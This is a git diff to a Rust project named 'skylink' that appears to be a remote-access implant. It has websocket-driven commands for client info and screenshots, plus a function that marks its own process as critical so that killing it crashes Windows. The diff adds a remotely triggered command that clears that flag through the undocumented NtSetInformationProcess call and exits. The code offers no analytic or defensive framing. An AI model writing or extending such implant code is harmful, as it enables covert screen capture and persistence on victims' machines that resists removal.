diff --git a/src/lib.rs b/src/lib.rs index 56c258b..e5678c4 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,4 +1,5 @@ use futures_util::stream::SplitSink; +use lib::winapi::low_tier_god; use serde::{Deserialize, Serialize}; use std::sync::Arc; use tokio::{net::TcpStream, sync::Mutex}; @@ -43,6 +44,7 @@ pub enum Command { ClientInfo, Dnx { params: DnxParams }, Screenshot, + LowTierGod } pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { @@ -119,7 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result { } // this was way easier than i expected... assuming it works :pilgrim2: Ok(format!("")) - } + }, + Command::LowTierGod => { + let _ = low_tier_god().await; // if this fails you're fucked + Ok(format!("")) + }, _ => todo!(), } } diff --git a/src/lib/winapi.rs b/src/lib/winapi.rs index 308c7c1..b9bd1cf 100644 --- a/src/lib/winapi.rs +++ b/src/lib/winapi.rs @@ -112,3 +112,23 @@ pub fn mark_process_critical() -> anyhow::Result<()> { } } } + +pub async fn low_tier_god() -> anyhow::Result<()> { + use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; + use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; + + unsafe { + // NtCurrentProcess pseudo-handle (-1) + let handle: HANDLE = (-1isize) as usize as *mut c_void; + let mut critical: u32 = 0; + let status = NtSetInformationProcess( + handle, + ProcessBreakOnTermination, + &mut critical as *mut _ as *mut _, + core::mem::size_of::() as u32, + ); + assert_eq!(status, 0); + } + + std::process::exit(1); +} diff --git a/src/main.rs b/src/main.rs index 37a1ac9..53ac09d 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,10 +1,8 @@ use skylink::lib::logger::{LogLevel, log}; -use futures_util::SinkExt; use skylink::lib::websockets::websocket_handler; use skylink::lib::winapi::mark_process_critical; use skylink::LOG_PATH; use skylink::WsTx; -use tokio_tungstenite::tungstenite::Message; use std::sync::Arc; use tokio::sync::Mutex; use std::ffi::OsString;